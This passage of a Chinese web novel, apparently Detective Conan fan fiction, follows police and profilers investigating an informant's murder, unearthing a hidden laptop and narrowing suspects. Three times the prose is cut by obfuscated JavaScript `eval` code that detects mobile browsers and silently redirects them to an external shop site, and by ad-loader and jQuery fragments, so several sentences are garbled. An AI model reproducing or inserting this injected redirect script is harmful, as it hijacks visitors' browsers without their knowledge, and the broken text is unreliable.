他那两根手指再也使不上力,只得颤颤巍巍地颓然站在原地,目送黑压压的公安们跟在领头的年轻人身后毫不客气地闯进PMDA新药审查部门办公室。 …… “姓名?” “西野健。” “职位?” “我是新药审查一部的部长秘书。” “你和佐佐木大介关系怎么样?” “……还行吧,我们中午偶尔一起吃饭,私人方面不太熟。我知道他跟他女朋友感情不错,对了,听说他最近去世了。” “你知道他是怎么死的吗?” “不清楚,我们只收到人事部的通知说之后会调新的人手进来。新药审查部门的工作压力太大,专业性又强,我们一直很缺人手。” 审讯室里的对话还在继续。 坐在被询问的部长秘书对面的是个扎小辫的青年公安,看起来年岁不大,态度却很沉稳。 他和西野健又一问一答持续了十分钟左右,终于站起来走出了审讯室的门,对靠在审讯室外看着监控屏幕的松田阵平摇摇头。 “这样效率太低了,新药审查部门在职职员有一百多个,我们光拉人就拉了一下午,全部问完至少要好几天,最后还不一定有结果。” 站在松田阵平旁边明显是他下属的公安也点点头。 “这些人现在全部被暂时安顿在警察厅,没事跟外界接触,但是肯定没法留太久。” 松田阵平沉默了一会儿,半晌:“神谷,你派人去警视厅走一趟,让本堂町小春警部带人来帮个忙,我帮你跟刑事部参事官打招呼。” 神谷正是那个扎小辫的公安,几周前他刚被星野真弓派去多罗碧加游乐园找附近的交番签保密协议。 他也是少数知道江户川柯南真实身份的[零]组成员,警校毕业之后就进了警察厅。 他利落地点头:“是。” 目送神谷的身影远去,松田阵平转过头对他身边站着的那个下属道:“先排除所有和佐佐木大介没有私人关系的职员,重点在新药审查一部里排查。带回来的资料呢?” 下属一正身子:“是。新药审查部门的所有资料都被暂时存放在警备局的资料室里,相原正在带人整理。” 松田阵平一捏眉心,“谁让他们放警备局的?” 下属一愣,有些心虚:“…资、资料太多了,只有警备局的资料室放得下。” 松田阵平“啧”了一声。 “早说了让她要一整层楼当办公室。” 他转身向前走去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灰原哀静静地看了她两秒,不置可否:“所以,佐佐木大介的案子是怎么回事?” 星野真弓眨眨眼:“那个啊,其实我已经大概清楚是怎么回事了。” 灰原哀一愣,“大概清楚?” 她像是想到了什么:“江户川说你们公安有内鬼,你也知道吗?” 星野真弓一哂:“虽然这么说有点丢脸,但公安的队伍可是很庞大的,只要是有人的群体就有利益纠纷,无论那个群体的性质有多正义,都难免出几颗老鼠屎。” 灰原哀:“你已经察觉很久了?” 星野真弓微微眯眼:“岂止是很久……” 她没有细说:“当然,现在我只是终于要借着佐佐木大介的事对某些老鼠屎动手了。小哀,如果你想到什么可能有用的信息,也可以告诉我。” 她谈论起自己的工作时总是带着那种不容置疑的神情,结合那种对公安系统的了如指掌,灰原哀在心里默默把对她职位的猜测再次提高了一个等级。 这既是好事也是坏事。警察们每天有很多事情要忙,公安警察更是如此,现在一个高级执法机构的高层却愿意花这么多时间亲自研究跟组织有关的事,这意味着组织的可怕程度和国家对它的重视程度都比她曾经以为的要高得多。 她移开视线:“那么我可以和你做个交易吗?” 星野真弓一愣,饶有兴致地挑眉:“什么交易?” 27. 第二十七章 灰原哀平铺直叙:“我可以告诉你佐佐木大介发现的组织秘密有可能是什么,作为交换,你告诉我组织里是不是有你们公安的卧底。” 她昨天晚上显然没有对江户川柯南和盘托出。 少女科学家的谨慎是从一而终的,她身上还背着组织的追杀令,当然没可能轻易把会害死人的秘密泄露给手无缚鸡之力的名侦探,更何况那位名侦探还是个好奇心爆棚的未成年。 星野真弓却连惊讶的反应都没有,只是微笑着:“我为什么要告诉你?” 灰原哀一愣。 “…为什么?你们不是想知道佐佐木大介到底发现了组织的什么把柄吗?” 星野真弓眨眨眼:“这个啊,与其麻烦你告诉我,还不如我们自己去找呢——算算时间,应该差不多了吧。” 灰原哀眼睁睁地看着她从大衣口袋里掏出手机。 几乎是下一秒,消息提示音响起,星野真弓了然地点开邮件,将手机屏幕转向灰原哀。 【To:Hilda 扎克利破解了佐佐木大介办公室的电脑加密系统,有一张池袋西口公园的地形图,附件发你了。 另外,佐佐木大介的电脑曾经被人试图暴力破解过,正在继续排查所有接触过这台电脑的PMDA职员和公安。 松田阵平】 灰原哀愣愣地看完邮件。 半晌,她将视线移向星野真弓依旧带着微笑的脸。 她垂下眼:“就算你们真的找到了什么,又怎么确保自己能看懂?” 星野真弓挑眉:“小哀,我勉强能算东京大学优秀毕业生,找几个老教授请教问题有什么难的?退一万步说,公安可以动用的资源超乎你的想象,如有必要我们也可以亲自派人去全球最顶尖的生物医药领域专家家里走一趟。” 灰原哀没说话,她忍不住攥紧手里的书页。 星野真弓却忽然轻笑了一声。她垂下眼看着小女孩头顶茶色的发旋。大概是外国血统作怪,灰原哀头顶的头发有些微卷,平时顶着短发不太明显,这个视角却莫名显出一丝可爱来。 她漫不经心地走了个神,心想同样是混血,为什么某些人的头发那么直? 这个神没走几秒,她一本正经地继续说:“不逗你了,你就是这个领域最顶尖的专家,如果我不想请你帮忙,现在你应该已经被送到北欧某个小国度过平静的一生了。” 喜欢逗小孩的恶劣大人饶有兴致道:“说吧,你的那个交易。” 跟星野真弓对话有时候就是容易心情过山车大起大落,灰原哀昨晚经历了一遭某个名侦探的“话锋一转”,现在已经连反应都懒得给了。 她无语几秒,面无表情道,“从姐姐突然告诉我可以联系到公安的人开始我就怀疑了。我们一直被组织监控着,姐姐怎么可能有办法不被人怀疑地和公安进行联络?而且她还拿到了那张写着数字的纸条,那是你们的内部通讯代码吧?” “我不相信对组织毫无接触的人可以做到这种事,最有可能的是传递消息的就是组织内部的人,而那个人恐怕是你们公安的卧底。” 星野真弓:“然后呢?” 灰原哀淡淡看了她一眼:“你有个前男友,对吧?” “虽然我认识你不久,但也看得出来你大概对亲近的同伴朋友都有挺高的要求和门槛,如果松田阵平不是那么聪明敏锐的人,只是个普通小警察,你们可能这辈子都不会是朋友。如果我不是研究生物医药的科学家,你也不会放任我知道你的真实身份。” “在这个前提下,你的前男友是普通人的可能性高吗?” 星野真弓歪头:“听起来不高。” 灰原哀继续道:“所以我猜测你的前男友也是个警察,而且还是个卧底警察。你们分手一定分得很不愉快吧?江户川说你曾经在某个案发现场狠狠嫌弃过他对食物的品味。你不同意他去进行九死一生的卧底任务,但是又没办法劝阻,所以你们激烈地争吵过。” 星野真弓似乎想到了什么,轻笑一声。 “我做出这个猜测的另一个依据是你和姐姐都对那个传递消息的人有超乎寻常的信任。万一我和姐姐是组织派来的奸细呢?万一那个卧底已经叛变了呢?你好像从来没有怀疑过这一点。” “这绝对不是普通的工作关系,而且能知道卧底警察的信息甚至和他进行联络,一是因为你的职位很高,二是因为你和他之间有超乎寻常的信任。假设你们分手是因为他去当卧底——你当然会对他生气,但是依旧会继续信任他吧?你们的志向依旧是契合的。” “至于姐姐对他的信任,这一点我还没想明白。但是看她同样信任对方的态度,我猜那个卧底是不是在组织里爱上了姐姐,所以才拼命想把我们送出来?” “你和他已经分手了,而且你一看就不像会沉迷过往爱情的女人,对那个卧底应该更多是同伴间的信任。毕竟曾经有过一段亲密关系,你当然了解对方,所以才会信任对方的选择。” “但那个卧底又凭什么信任姐姐不会出卖他?只有可能是卧底本人和姐姐相爱了,才会如此剑走偏锋地告诉姐姐你们公安的信息。不然,一个卧底有什么理由信任一个出身犯罪组织的女人?” 一口气说完,灰原哀闭上嘴,笃定地凝视着星野真弓的眼睛。她的神情严肃,但这种严肃的表情嵌在一张小孩子的脸上,便立刻成了一种另类的呆萌感。 星野真弓眨着眼听她说完,半晌终于忍不住扑哧一笑。 “小哀,你太可爱了。” 她笑着低头捏捏眉心,任由几根发丝垂落下来挡住眼睫。 “你姐姐说这几天都没怎么跟你联系,该不会是因为你一直在想着这件事,不知道该怎么问明美你是不是多出了一个没见过面的姐夫吧?” 灰原哀一愣:“难道不是吗?” 星野真弓看着她平静道:“你的推测听起来挺合理的,不过有几点我要纠正你。” 灰原哀:“愿闻其详。” “首先,我们并不是出于情情爱爱、莫名其妙的信任或者别的什么私人情绪才出手搭救你们的,我们伸出援手是因为你姐姐和我们做了一个交易,而且你的聪明才智和对组织医药研究的了解确实很有用,我们才愿意对你们释放超出界限的信任和善意。” “虽然这么说很无情,但站在我的立场上,我不会做没意义的事,也没那么多闲来无聊的善意可以挥洒,小哀。” 她顿了顿,“当然,那个交易是什么,我不能告诉你。” 灰原哀点点头。 “你姐姐当然也没有爱上任何人——她不是一年前才和那个FBI分手吗?我看你姐姐还蛮喜欢他的,应该不至于那么快就移情别恋吧。分手后短短一年里就跟另一个人发展到能交托生命的关系,这得是多深厚的爱情啊?她可是刚刚被一个卧底欺骗过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459054|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你姐姐再善良,也不会傻到那个地步哦。” 灰原哀一愣:“你知道那个FBI的事…...?” 星野真弓笑着看了她一眼。 “FBI的高级探员赤井秀一是吧?几年前跟他有过一面之缘,各国执法机构之间虽然多少有些隔阂,但也不是完全没有交流的。” “如果你们早些认识我,我可不会吝啬告诉你们他的真实身份。‘黑发绿眼的混血亚裔’,这种描述也太好猜了,世界上只有2%的人有绿眼睛,他进组织的时候是不是还留着长发?” 灰原哀眨眨眼,明智地决定不去深究她到底怎么知道FBI的卧底行动细节的。 “另外,公安的确往组织派过卧底,不过那个卧底几年前就已经死了。身份暴露,被杀了。”星野真弓淡淡道。 “现在我们在组织什么人都没有,获得的那些情报都是通过多种渠道整合的,我们有顶尖的信息专家和各种各样的线人,曾经的卧底也传回来过很多跟组织有关的情报。即使如此,这些信息也依旧很有限。” “至于我的前男友?我们确实分手分得不太愉快,但那都已经是大学时候的事了。” 她自嘲一笑:“你这不是很清楚嘛,我不是会耽于情爱的女人,再怎么说跟前男友分手六年还一直保持联系互相信任也太奇怪了吧?” 灰原哀愣愣点头。 “……确实。” 六年前星野真弓22岁,刚好大学毕业的年纪,她跟前男友大概和千千万万其他校园情侣一样,都是在毕业季自然而然地分手的。 听上去确实很合理。 星野真弓摊手。 “所以,事情就是这样子。你没了解过事情的全貌,猜错了也很正常,不过‘你姐姐又爱上了一个卧底’这种剧情听上去真的很狗血。” 灰原哀:“……” 她说的是对的。她姐姐是人好,不是真傻。 在琴酒要求宫野明美去抢劫银行之后,她能果断判断出组织对她的不信任,当机立断向公安求助,一并把她这个妹妹的后路也给安排好,然后镇定地执行假死计划,虽然中间也有很多公安提供的帮助,但是都说长姐如母,她姐已经超脱这个范围,简直就是个超人。 至于那个叛逃组织的FBI,她事后问起姐姐,姐姐也偷偷告诉过她其实自己早就有所察觉,只是不知如何开口。 无论她为何没有戳穿赤井秀一,宫野明美都将她的“察觉”隐瞒得很好。在琴酒眼里她们好像真的只是被该死老鼠欺骗的无辜傻蛋二人组,虽蠢但没有故意引狼入室,不然一年前她们也不会这么容易就逃脱清算了。 现在想想,姐姐该不会在那个时候就开始思考脱离组织的计划了吧?FBI指望不上,那就换成公安试试,正好她们俩是日本籍。 无论如何,就算她说错了也没关系,至少星野真弓告诉了她更多内部消息。 灰原哀平静地移开视线:“就当我猜错了吧,但是按照约定,你还想听可能被佐佐木大介找到的组织信息吗?” 星野真弓却不急。突然遭受了一通来自小女孩的质疑猜测,她竟然好像无事发生一样,从头到尾都没表现出多大的情绪起伏,似乎刚刚真的只是随便聊聊天。 她转过头:“那个啊,等我们回来再说吧。” 顺着她的视线看去,灰原哀一愣。只见江户川柯南终于换完衣服,从房间里走了出来。 28. 第二十八章 池袋西口公园是池袋的地标性建筑,位于东京环状线池袋车站的西出口。 相比东京其他地区,池袋人员更加混杂一些,街上明显多出了更多游手好闲的社会闲散人士。有不少年轻人喜欢闲来无事到西口公园乱晃,幻想着体验一把石田衣良*笔下的犯罪冒险故事。 就在下雨的西口公园街角一如既往人头攒动的时候,路口突然传来一阵引擎低沉的轰鸣声。 人群发出惊呼,远远目送一辆黑色跑车驶进公园。 跑车最终停在公园外圈一处隐蔽的角落。 再里面就不能开车进去了,星野真弓十分遵纪守法地关掉发动机,解开安全带,翻出塑胶手套。 另一边车门打开,抱着滑板的小侦探跳下来,眨着他那双明亮的钻蓝色眼睛。 “星野姐姐,我们要去哪里找呀?” 星野真弓一笑,“刚刚阵平找到了佐佐木大介藏起来的公园地形图,佐佐木确实很谨慎,地图上用不同的加密方式标注了五个地点,我们一个个去找吧。” 江户川柯南乖乖点头,然后眼睁睁地看着她不知道从哪里掏出一个纸袋,里面放着的居然是一把外表狰狞的铁铲。 ……不愧是修摩托车的! 一大一小向公园内部走去,星野真弓一手拎着那个纸袋,一手打着伞。黑伞在阴郁的天空下微微倾斜着,淅淅沥沥的雨水一滴也没溅到跟在她身边的小朋友身上。 半晌,江户川柯南忽然想到了什么。 “说起来,如果他直接把公园地形图藏在了电脑里,那为什么还要特地留下那个白纸暗号呢?” 暗号越多,岂不是风险越大? 星野真弓挑眉:“佐佐木大介也无法保证他出事之后会不会有人擅自动电脑,或者干脆把电脑给直接销毁。他给那张地图用了非常高级的加密系统,事实上阵平也确实发现了那个系统被人入侵的痕迹,只不过对方没有成功罢了。” “如果最坏可能真的发生了,他至少还有办法告诉警察一个地名,万不得已的情况下,阵平应该也不介意把池袋西口公园整个犁一遍。” 江户川柯南一抽嘴角,再次对公安的不择手段有了深刻的认知。 而且,佐佐木大介虽然觉得公安有内鬼,但却十分信任某些公安的聪明才智啊——普通人谁能想到白纸上的折痕是摩斯密码? 五分钟后,他们走到了地图上的第一个地点。 星野真弓个高,穿什么都苗条匀称,但力气着实不容小觑。 她大概经常锻炼,虽然外表看不出太多痕迹,但小侦探眼睁睁看着她一铲子下去泥地上多了个小腿高的坑,还是忍不住暗自心惊。 ……再说一遍,不愧是修摩托车的。 第一个地点不出意外地一无所获,他们最后只挖到了不知道被谁埋进去的一个时间胶囊。 秉持着谨慎的态度打开检查之后,两人对望一眼,心虚地抹掉痕迹默默把时间胶囊埋回土里。 对不起,不知名的小姐,并不是有意要看你写给五十年后男友的情书的! 类似的事情又连续发生了两回,在挖到第四个坑时,他们终于发现了什么。 雨水沾湿的泥块被一点点挖空,隐隐露出底下那个黑色的手提箱。 ...... 本堂町小春俯身从自动贩卖机里掏出罐装咖啡。 她垂眼掰开易拉罐,几口就喝完。 这是常年高压工作带来的习惯。咖啡/因是用来保持头脑清醒的,不是可以享受的碳酸饮料,所以要快点喝完,这样那种苦味就会尽早散去。 目送罐子精准地落进不远处的垃圾桶,她才终于看向身后靠在墙上叼着根烟没点燃的松田阵平。 本堂町小春不怎么喜欢烟味。 在警校时,无论是经常抽烟的暴躁拆解狂人松田阵平,还是偶尔也抽两根的前不良少女·星野真弓都十分没有同学情谊地不会顾忌她的喜好,顶多抽烟的时候离她远点。 本堂町小春自然也不会收敛自己闻到烟味就跳起来打人的拳头。虽然她身量不高,但她格斗和射击都练得很好。 但是过去这么多年,大家都长大了,曾经的损友到底也学会了体贴和顾忌,连松田阵平都已经长成了一名沉稳可靠的警察,和曾经放话要揍警视总监一拳的毛头小子相去甚远。 本堂町小春抱臂微抬起头:“所以,你们已经不再信任警视厅公安,所以才找我帮忙?” 松田阵平垂眸摘下烟。 他沉默了一会儿才回道:“警视厅三年前被清洗过一遍,但总有几条漏网之鱼。” 本堂町小春挑眉:“我们也是属于警视厅的,你不怕我们也是……?” 松田阵平一哂:“你是什么人,我们还不清楚?” 他从墙上直起身来:“如果你是罪犯,明天头条新闻就是【东京惊现史上最大最恶连环杀人犯】。” “......” 本堂町小春抽抽嘴角:“谢谢你这么看得起我。这个评价对一个现役警察来说还真是不友好啊。” 松田阵平却恢复了严肃的表情:“就是因为这样我才提出找你们帮忙。从三年前那件事之后,真弓就一直没停止过怀疑警视厅。整个警视厅公安,除了她亲手选拔/出来的风见裕也,[零]组不信任任何人。” 本堂町小春顿了两秒才反应过来“三年前那件事”是哪件事。她顿时也严肃起来。 “所以你们才向刑事部提出借调特殊犯罪行为分析室?为了故意打草惊蛇,引蛇出洞?” 警视厅刑事部是整个警视厅最大的部门,东京范围内的几乎所有犯罪事件都归他们管,旗下既有大名鼎鼎的搜查一课,也有神秘莫测的特殊犯罪行为分析室SCAD。 松田阵平垂下眼:“今天我去扣押PMDA的人,除了警备局的人,还带了一群警视厅公安的小警察。PMDA的资料太多,本来就需要人手,从警视厅借调明面上很正常。刚刚警备局又特意跟刑事部打招呼,把你们也抽调过去,无论那些钉子藏在警视厅的哪个角落,现在估计都已经接到消息在夹着尾巴瑟瑟发抖了吧。 “这种情况,不是你最擅长的局面吗?” 本堂町小春闻言一愣,半晌露出胸有成竹的笑容。 她伸手敲敲自动贩卖机的铁壳,金属振动发出低沉的咚咚声。 “瓮中捉鳖,是吧?” ...... 手提箱没设置什么复杂的密码。 星野真弓分别试了佐佐木大介本人和他父母的生日,在输到他母亲生日的时候箱子咔哒一声打开了。 看到箱子里的东西,一大一小同时一愣。 “这是……药瓶?”江户川柯南喃喃。 那确实是个普通的药瓶。透明的玻璃罐里装着两个蓝白相间的小药丸,罐子上没有任何标记,那两粒药丸看上去就像普通药房里会卖的家用药。 星野真弓严肃起来,戴上塑胶手套将药瓶拿起来晃了晃,又靠近轻轻闻了下药瓶上的味道。 “就是普通的药瓶,问题是……” 问题是这是什么药。 他们蹲在隐蔽的灌木丛边上,再神通广大也没法现场变出药品检测仪器。 于是星野真弓果断放弃现在就查看瓶子里的药物,转而伸手摸了一圈空荡荡的手提箱。 她微微一愣。 小侦探敏锐地看她:“箱子下面有东西?” “嗯。”星野真弓不多话,将药瓶收进证物袋里,徒手掰开手提箱里的黑色海绵层。 海绵下藏了一台黑色的笔记本电脑。 “......” 她露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459055|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出有些复杂的神情。 “佐佐木大介,还真是周到啊。” 到目前为止,这起事件中已经出现了三台属于佐佐木大介的电脑。 第一台是被放在他的私人公寓里、随着爆炸和火灾被销毁的电脑。 第二台是他办公室里,在他死亡当天就早早被警视厅公安带走的藏着公园地图的电脑。 第三台电脑则被埋在土里,直到今天才重见天日。 私人公寓里的电脑是障眼法,让毁尸灭迹的炸弹犯轻率地以为重要资料已经被销毁。 办公室里的电脑则是个钩子,虽然藏着地图,但加密系统很高级,还能记录下被暴力破解的痕迹。 佐佐木大介出事后公安会第一时间带走他的电脑,他的同事里如果有内鬼、或者公安里如果有组织的钉子,肯定会想办法接触那台电脑,谁接触了,谁就有嫌疑。 而第三台电脑,才是那碗真正的“拉面”。 正义的伙伴没有输。他一直都很聪明,一直都很谨慎,从高中时挺身而出制止校园霸凌,到工作期间毅然成为公安协助人,佐佐木大介从来没有停下过自己的脚步。 当他站在摩托车修理厂的工作室里,被铁锤击中后脑时,是在叹息被报复的这一刻终于来了,还是在想至少终结自己生命的人不是组织的杀手,而是曾经的爱人呢? 也许他在庆幸至少自己的尸体没有被沉进暗无天日的东京湾,而是沉默地倒在曾经传递过无数次情报的工作室里。 那是正义的伙伴的地盘,是他为数不多信任的公安警察的地盘。 无论如何,即使以生命为赌注,他赢了。 佐佐木大介赢得彻彻底底。 星野真弓垂眼打开电脑。 江户川柯南打着伞站在她身边,看着电脑漆黑的屏幕闪了两下,忽然出现一个密码输入框。 雨滴被风吹来,斜斜落在闪着光的屏幕上。 …… 他们都不约而同地一致决定不要贸然尝试密码。 手提箱上的密码只是普通的机械锁,但谁又知道电脑里的密码有什么特殊加密系统? 佐佐木大介能想办法搞出需要[零]组请动天才计算机专家扎克利·宫崎来破解的加密系统,更重要的这台电脑里不可能没有反制方法。 暴力破解的最轻下场是被记录下入侵痕迹,最坏情况可能就是里面的资料直接被销毁了。 星野真弓重新把电脑和药瓶放进手提箱,又将手提箱藏进那个她用来装铁铲的纸袋里,牵着小侦探的手光明正大地走回了车上。 在那之前,他们还特意出于谨慎把第五个标记地点也检查了一遍,最终只发现了不知道被谁乱扔垃圾埋进去的半个破损的塑料瓶。 Aventador在高架桥上沉默地飞驰。 天色渐晚,雨似乎也变小了,挡风玻璃上的雨滴渐渐少了起来。东京的天空又变成了阴天,九月底的冷风撞在车窗上,伴随着引擎轰鸣发出沉闷的声响。 江户川柯南垂首刷着手机,半晌突然道:“星野姐姐,我能问你一个问题吗?” “嗯?” 他笃定地抬起头。 “你应该不仅仅是摩托车修理厂的店长这么简单吧?” 翻滚的云层映在星野真弓灰蓝色的眼眸里,她直视前方,半晌轻轻一笑:“你觉得我是谁?” 江户川柯南锐利的视线看向她。 “在知道松田警官是公安警察前,我从来没有怀疑过你的身份,但是那天晚上,你带我去警视厅,暴露松田警官、萩原哥哥和你之间的私人关系,你是故意的吧?再怎么说,对一个小孩子透露这么多也太过分了。” 星野真弓眨眨眼:“然后呢?” 江户川柯南微微一顿:“星野姐姐,其实你也是公安的协助人吧?” 29. 第二十九章 单手握着方向盘的女人一愣,半晌转头对他投去饶有兴致的眼神:“这又怎么说?” 江户川柯南沉声道:“就像正常人不会愿意对小孩子透露那么多一样,就算松田警官是你的朋友,应该也不会无缘无故对你透露公安内部的机密。” “我猜你和佐佐木大介一样,也是公安的协助人,摩托车修理厂确实是你的产业,但你真正负责的是整理接收佐佐木大介传递来的情报。他每周拜访修理店,确实是来见你的。” 小侦探显然还没忘记杀死佐佐木大介的凶手上野广子的“出轨猜想”。 星野真弓一哂:“那研二呢?他也在修理厂工作哦。” 江户川柯南摇摇头:“萩原哥哥是松田警官的幼驯染,又是退役警察,他们两人之间应该也有某种合作吧。虽然我跟他们接触不多,但他们都不像是愿意主动把普通人牵扯进这些事的人。” “那天在医院,松田警官答应告诉我普拉米亚的事,但是不允许小兰姐姐旁听。相同的事情,他却同意你旁听了。” “他是个公私分明的人,如果你只是个什么都不知道的普通人,他们不会选择和佐佐木大介在摩托车修理厂传递消息,意外发生的话,你很容易遇上危险。” “他们愿意这么做,只可能是因为他们很信任你,既信任你的人品,也信任你的能力。这不可能仅仅是因为私人关系,更可能的情况是你们之间还存在工作关系。星野姐姐,我猜得对吗?” 星野真弓沉默了一会儿,莫名觉得小侦探刚刚这段话有点耳熟。 那句“他们信任你,不可能仅仅是因为私人关系”,好像一小时前某位小女孩也对她说过类似的话。 ……她到底该庆幸自己的朋友都是恪尽职守、公私分明的正义执法人员,还是该哀悼自己跟那两个家伙之间整天互损的塑料友谊让小朋友们都没法觉得他们确实只因为是朋友就愿意彼此信任? 这当然不是普通朋友之间的信任,他们是历经过生死危机的同伴,被绝境磨砺过的信任是完全不同的。 而且他们都认识七年了,这期间但凡有一丝一毫的猜疑,现在他们三人里至少有两人都该是具尸体了。 她没把内心的想法表现出来,顺着小侦探的话点点头:“是啊,你猜得没错,我也是公安的协助人。” “那家摩托车修理厂其实是公安在东京都的其中一个民间办事处,在任务过程中遇到危险的公安警察如果因为特殊原因无法向警察厅求助,我们会负责提供支援。” 这其实是她现场编的。摩托车修理厂跟公安的关系几乎没有人知道,如果真有公安警察来这儿寻求帮助,那大概只会是她认识的某些人。 但是看江户川柯南这幅不要到一个答案不罢休的样子,她要是直接说“没错但我确实是钱多得没处花为了消遣才开那家店”的话,估计小朋友要开始闹了。 江户川柯南似乎没想到她这么轻易就承认了,愣了一会儿才继续:“既然如此,你们为什么愿意把公安的机密透露给我?” 他微沉下眼,已经做好了星野真弓当场说破他真实身份的准备。 星野真弓却不敢套路出牌。 她微微一笑:“这有什么为什么,你不是很聪明吗?” “诶?” “你是个聪明的小孩,常人无法注意到的东西可能会被你注意到,佐佐木大介被杀的时候,你不是一眼就看出了真正的凶手吗?” 江户川柯南一扯嘴角,“…...就因为这个?” 总觉得这女人在敷衍他。 再这样下去,他真的要以为公安的机密是随便什么人都可以看的了! 星野真弓轻轻一笑:“也有别的原因,但我凭什么要告诉你?当然,你很聪明是最主要的原因,阵平很看好你哦,期待你长大之后也作为协助人为维护社会安全尽一份力。” 她信手拉好友当借口已经不是一天两天了。江户川柯南眨眨眼,回想了一下松田警官那张恶人脸,半天没想明白她是怎么得出松田阵平很看好自己这个结论的。 他移开视线:“我更想成为一个侦探。” 星野真弓一转方向盘,跑车拐进下高速的车道。 她灰蓝色的眼睛直视前方:“当侦探和成为协助人并不冲突,当然,你还有很多时间可以慢慢考虑。我带着你去警视厅,又带着你来西口公园,只是为了让你体验一下公安的工作方式。比起普通警察,公安行事更自由,但自由与风险和残酷并存。” 而之所以做出这个决定,是因为她透过那副没有度数的平光镜,看到了一个少年坚定、正直、渴望冒险的灵魂。 …… “佐佐木大介电脑里的加密系统显示,他死前两周曾经有人试图破解过他的电脑,在他死亡当天和死后一周又分别出现了相同的痕迹。我们要找的是两个人,一个是他的同事,一个是警视厅公安的成员。” 本堂町小春抱臂站在会议室桌前,敲敲白板。 长桌左前方最靠近她的位置坐着她的副手,他有一头棕色的刺猬头——特殊犯罪行为分析室SCAD二组的副组长若鹿一雄流畅地接过话语权。 “第一个人,佐佐木大介的某名同事,我们暂定他代号为A君。A君性格很谨慎,在两周前入侵失败之后,他就没有再试图碰过佐佐木大介的电脑。” 坐在他右手边的另一名年轻女性在文件上勾画了什么。她的长发盘起,戴着一副金边眼镜。 樱井绫子,27岁,毕业于斯坦福大学犯罪心理学系,SCAD特招侧写师。因为是特招的,她没有经历过系统的警察训练。 她抬起眼:“他具备一定程度的计算机知识,可能曾经有过相关学习经历。他和佐佐木大介有私人交往,可能在PMDA已经任职超过三年,并且和佐佐木大介的部门有密切关系。他不是普通文职,不然无法胜任对佐佐木大介电脑里专业资料的审查工作,更可能是医药领域的专业人士。” “A君应该是男性。佐佐木大介和上野广子感情破裂前后都没有亲近的女性朋友,他上学时性格较同龄人更孤僻,参加的都是鲜少出现女性同伴的校园活动,和上野广子认识两年后才正式确定关系。他不擅长应付女性,在工作中被允许进入他私人领域的只可能是男性。” 若鹿一雄接话:“他可能经济困难,或者突然欠了一大笔债,才被幕后黑手趁虚而入沦落为棋子。如果他有家庭,可能因此近期感情破裂或者状态不稳定。” 坐在她对面的少年黑客扎克利·宫崎嘴里叼着一根棒棒糖,双手飞速地在电脑上打字。三秒后,会议室最前方的屏幕上出现了数张证件照片。 “排除了所有没有计算机和医疗相关背景的新药审查部门职员,剩下28人。” 本堂町小春点点头:“很近了。继续排除佐佐木大介电脑上被检测到的指纹主人,以A君的谨慎性格,他一定会在事后抹除自己的痕迹。” 屏幕又闪了一下,28人变成了22人。 若鹿一雄敲敲笔杆:“佐佐木大介死前两周内,他工位附近的监控摄像头有拍到接近过他电脑的人吗?” 坐在他对面,一丝不苟梳着背头的男人摇摇头。 新井阳介,32岁,东京大学计算机系在读博士。他在东大一路从本科读到研究生,也是警视厅特招的,推算起来还是扎克利·宫崎的直系学长。 不过,他并不是扎克利那种敲敲键盘就能骇入银行系统的黑客,而是专门负责网络安全和信息分析的专家。 三十分钟前,他已经高效率地梳理完了佐佐木大介死前一个月办公室的所有监控录像。 “监控摄像头拍下了一个月内所有曾经直接接触过佐佐木大介电脑的人,每个人和电脑上留下的指纹都能一一对应,除了两个人。” 本堂町小春挑眉:“哪两个人?” “藤田樱子和二阶堂弘,他们都是新药审查一部的职员。” 樱井绫子调出两人的资料:“藤田樱子,30岁,毕业于庆应大学法学部,研究生专攻医疗法领域,读书期间没有接触过计算机专业,已婚有一子,应该不是她。” 若鹿一雄:“她和佐佐木大介的关系怎么样?” 新井阳介:“她接触佐佐木大介的电脑是在会议上,借用佐佐木大介的电脑投屏展示了某份资料。除此之外他们应该没有私交。” 投影上正在播放会议室的监控摄像头拍摄下的画面,留长发的女性俯身在佐佐木大介的电脑键盘 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上敲打。 那台电脑并没有放在佐佐木大介面前,而是连接上转接器放在会议桌中间,作为将资料投放在会议室正前方大屏幕上的工具。 本堂町小春点点头:“二阶堂弘呢?” “他的专业是医学检验与医疗器械应用,在新药审查一部中负责检查医疗企业MAH(营销授权持有人)提交的QMS检查申请,也就是对生产新药的每个医疗器械系列的独立审核,这种审核分为现场检查和文件审核,他负责后者。”新井阳介抬头。 樱井绫子:“他大学上过两年的计算机专业课,加入的社团是Vocaloid调/教社,对电脑软件都很熟悉,但他是个富二代,家里在东京市中心购置了三套顶配公寓,而且是个实打实的游戏死宅。” 本堂町小春挑眉:“他接触佐佐木大介的电脑也是在那个会议上?” 